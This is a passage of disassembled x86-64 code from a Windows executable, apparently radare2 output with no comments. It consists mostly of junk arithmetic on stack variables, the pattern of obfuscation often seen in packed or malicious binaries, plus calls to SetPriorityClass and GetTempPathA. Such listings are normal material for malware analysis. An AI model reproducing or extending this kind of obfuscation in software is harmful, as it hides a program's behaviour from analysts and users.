mov dword [rcx], eax
mov rax, qword [rsp + 0xa598]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa598]
mov qword [rsp + 0xa5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x14a]
shl eax, cl
mov byte [rsp + 0x14d], al
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xc48]
xor eax, ecx
mov word [0x14019beec], ax
movzx eax, word [rsp + 0xebc]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xea8], ax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x151]
add eax, ecx
mov byte [rsp + 0x14f], al
mov eax, dword [rsp + 0x4058]
mov ecx, dword [rsp + 0x3fac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4088]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x151], al
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov dword [0x14019d790], eax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa540]
mov byte [rcx], al
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa500]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4a0]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x4150]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xeac], ax
movsx eax, byte [rsp + 0x14b]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14d], al
jmp 0x140012db8
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov word [rsp + 0xebc], ax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4130], eax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov ecx, dword [rsp + 0x3c38]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4144]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov eax, dword [rsp + 0x4150]
mov ecx, dword [rsp + 0x4088]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea4]
sar eax, cl
mov word [rsp + 0xb08], ax
mov eax, dword [rsp + 0x4130]
mov rcx, qword [rsp + 0xa428]
mov qword [rsp + 0xa5a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4018], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x4088]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14019d7a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4148]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [0x14019d7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
sub eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0x4130]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x40d0]
sub eax, 0xed
mov dword [rsp + 0x40d0], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4144]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
mov byte [0x14019d794], al
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa568]
mov ecx, dword [rsp + 0x4130]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4018], eax
cmp dword [rsp + 0x40d0], 0xf4d0
ja 0x1400131f7
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x4154], eax
cmp dword [rsp + 0x4154], 0
je 0x1400134d9
cmp dword [rsp + 0x4154], 0xd2f
je 0x14001357a
jmp 0x140013588
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0xa5b0], rax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa5b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
lea rax, [rsp + 0x14e]
mov qword [rsp + 0xa5c0], rax
mov eax, dword [rsp + 0x4148]
mov ecx, dword [rsp + 0x40f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
lea rax, [rsp + 0x4144]
mov qword [rsp + 0xa5c8], rax
jmp 0x140013588
movzx ecx, word [rsp + 0xea4]
call fcn.1401751a0
nop
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov dword [rsp + 0x4158], eax
cmp dword [rsp + 0x4158], 0
je 0x1400135ba
cmp dword [rsp + 0x4158], 0xa1
je 0x140013693
jmp 0x1400136e2
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xeb4]
and eax, ecx
mov word [0x14019bef0], ax
mov rax, qword [rsp + 0xa5c8]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa5c8]
mov ecx, dword [0x14019bee8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
mov dword [rsp + 0x415c], eax
lea rax, [rsp + 0xd48]
mov qword [rsp + 0xa5d0], rax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14a]
add eax, ecx
mov byte [rsp + 0x14b], al
lea rax, [0x14019d794]
mov qword [rsp + 0xa5d8], rax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov eax, dword [rsp + 0x4128]
mov ecx, dword [rsp + 0x4070]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
jmp 0x1400136e2
mov edx, 0x6a
mov rcx, qword [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov dword [rsp + 0x4160], eax
mov eax, dword [rsp + 0x4088]
mov ecx, dword [rsp + 0x3c38]
and ecx, eax
mov eax, ecx
mov dword [0x14019bee8], eax
movzx eax, word [rsp + 0xebc]
movzx ecx, word [rsp + 0xeb4]
add eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
movzx eax, byte [rsp + 0x151]
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xa4a0]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov dword [rsp + 0x4164], eax
cmp dword [rsp + 0x4164], 0xc29
je 0x14001372f
jmp 0x14001380f
mov eax, dword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0xa590]
mov qword [rsp + 0xa5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa5e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
lea rdx, [rsp + 0x1f730]
mov ecx, 0xb3
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [rsp + 0x4130], eax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa508]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x4144]
mov ecx, dword [rsp + 0x4080]
call fcn.140176420
nop
jmp 0x1401741b6
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
and ecx, eax
mov eax, ecx
mov dword [0x14019bef4], eax
lea rax, [rsp + 0x4128]
mov qword [rsp + 0xa5f0], rax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa5b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14c]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14d], al
lea rax, [0x14019beec]
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov rcx, qword [rsp + 0xa540]
mov byte [rcx], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xde4], ax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [0x14019bef4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x4088]
mov dword [rsp + 0x4168], eax
movzx eax, word [rsp + 0xb08]
mov word [0x14019d7b0], ax
mov rax, qword [rsp + 0xa5c8]
mov ecx, dword [rsp + 0x4088]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x4148]
mov ecx, dword [rsp + 0x3ffc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4058], eax
lea rax, [rsp + 0x4150]
mov qword [rsp + 0xa600], rax
movzx eax, byte [0x14019d794]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov rcx, qword [rsp + 0xa540]
mov byte [rcx], al
lea rax, [rsp + 0xde4]
mov qword [rsp + 0xa608], rax
mov eax, dword [rsp + 0x4168]
mov ecx, dword [rsp + 0x4150]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov eax, dword [rsp + 0x3fac]
movzx ecx, al
mov eax, dword [0x14019bef4]
shl eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov dword [rsp + 0x416c], eax
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa610], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa610]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019bef8], eax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
xor eax, ecx
mov rcx, qword [rsp + 0xa500]
mov word [rcx], ax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xa618], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xa620], rax
mov rax, qword [rsp + 0xa5d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov eax, dword [rsp + 0x4130]
mov ecx, dword [rsp + 0x4018]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov dword [rsp + 0x4170], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov byte [rsp + 0x153], al
lea rax, [rsp + 0x3fac]
mov qword [0x14019d7b8], rax
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x416c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov dword [rsp + 0x4174], eax
mov eax, dword [rsp + 0x4058]
mov ecx, dword [rsp + 0x40f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb8], ax
lea rax, [rsp + 0x153]
mov qword [rsp + 0xa628], rax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4168]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4000]
mov dword [rsp + 0x4178], eax
mov rax, qword [0x14019d7b8]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019befc], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4150]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x416c], eax
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0xa630], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xa638], rax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [0x14019d7a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x153], al
lea rax, [rsp + 0xde4]
mov qword [rsp + 0xa640], rax
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov eax, dword [0x14019bef8]
movzx ecx, al
mov eax, dword [rsp + 0x3c38]
sar eax, cl
mov rcx, qword [rsp + 0xa598]
mov dword [rcx], eax
lea rax, [rsp + 0xea4]
mov qword [rsp + 0xa648], rax
lea rax, [rsp + 0x153]
mov qword [0x14019d7c0], rax
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0x40f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3ffc], eax
mov eax, dword [0x14019befc]
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x417c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x4058]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea8]
mov word [rsp + 0xec0], ax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x151], al
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xa650], rax
mov eax, dword [rsp + 0x4144]
mov ecx, dword [0x14019d790]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14a]
mov byte [0x14019d795], al
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xa658], rax
movzx eax, word [rsp + 0xde4]
movzx ecx, word [0x14019bef0]
add eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
add eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa568]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f5c], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov dword [rsp + 0x4180], eax
mov rax, qword [rsp + 0xa650]
mov ecx, dword [0x14019befc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa5c8]
mov rcx, qword [rsp + 0xa590]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa600]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa640]
movzx eax, word [rax]
mov word [rsp + 0xec4], ax
lea rax, [rsp + 0x152]
mov qword [0x14019d7c8], rax
mov rax, qword [0x14019d7b8]
mov ecx, dword [rsp + 0x40f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4130], eax
mov eax, dword [rsp + 0x4180]
mov dword [rsp + 0x4184], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa660], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa660]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeb8]
mov word [rsp + 0xec8], ax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
sar eax, cl
mov byte [rsp + 0x151], al
movzx eax, word [0x14019beec]
mov word [rsp + 0xecc], ax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14d]
xor eax, ecx
mov byte [rsp + 0x150], al
lea rax, [rsp + 0x3fac]
mov qword [0x14019d7d0], rax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov dword [rsp + 0x4188], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeb4]
and eax, ecx
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
sub eax, ecx
mov byte [rsp + 0x14f], al
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xa668], rax
mov rax, qword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0x4148]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4018], eax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xa670], rax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4178]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x415c], eax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x153], al
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xebc]
add eax, ecx
mov word [0x14019bf00], ax
lea rax, [0x14019bef4]
mov qword [rsp + 0xa678], rax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4088]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0xa5b0]
mov ecx, dword [rsp + 0x417c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4180]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4170], eax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xa688], rax
movsx eax, byte [rsp + 0x14d]
movsx ecx, byte [rsp + 0x14b]
sar eax, cl
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140199009], al
mov rax, qword [rsp + 0xa5f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa358]
mov qword [rsp + 0xa690], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa690]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3f5c], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x154], al
movzx eax, word [0x14019bf00]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xec0], ax
lea rax, [rsp + 0x4174]
mov qword [rsp + 0xa698], rax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4058], eax
lea rax, [rsp + 0x4088]
mov qword [rsp + 0xa6a0], rax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0xa670]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4184], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
add eax, ecx
mov word [0x14019bef0], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x154]
add eax, ecx
mov byte [rsp + 0x153], al
lea rax, [rsp + 0x3f5c]
mov qword [rsp + 0xa6a8], rax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa680]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0xa6b0], rax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov rcx, qword [rsp + 0xa638]
mov byte [rcx], al
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xb08]
add eax, ecx
mov rcx, qword [rsp + 0xa640]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0xa4a8]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
lea rax, [rsp + 0x3f98]
mov qword [0x14019d7d8], rax
lea rax, [rsp + 0x4168]
mov qword [rsp + 0xa6b8], rax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4128]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4150], eax
lea rax, [rsp + 0xec8]
mov qword [rsp + 0xa6c0], rax
mov rax, qword [rsp + 0xa628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
shl eax, cl
mov byte [rsp + 0x14f], al
lea rax, [rsp + 0x4180]
mov qword [rsp + 0xa6c8], rax
mov eax, dword [rsp + 0x4128]
mov rcx, qword [rsp + 0xa4c8]
mov qword [rsp + 0xa6d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4130], eax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
mov eax, dword [rsp + 0x40e4]
mov dword [0x14019d7e0], eax
movzx eax, byte [rsp + 0x153]
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
add eax, ecx
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0xa6d8], rax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov dword [rsp + 0x418c], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [0x14019befc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4168], eax
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea0], ax
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x156], al
lea rax, [rsp + 0x3f5c]
mov qword [0x14019d7e8], rax
mov rax, qword [0x14019d7d8]
mov ecx, dword [rsp + 0x4174]
mov eax, dword [rax]
add eax, ecx
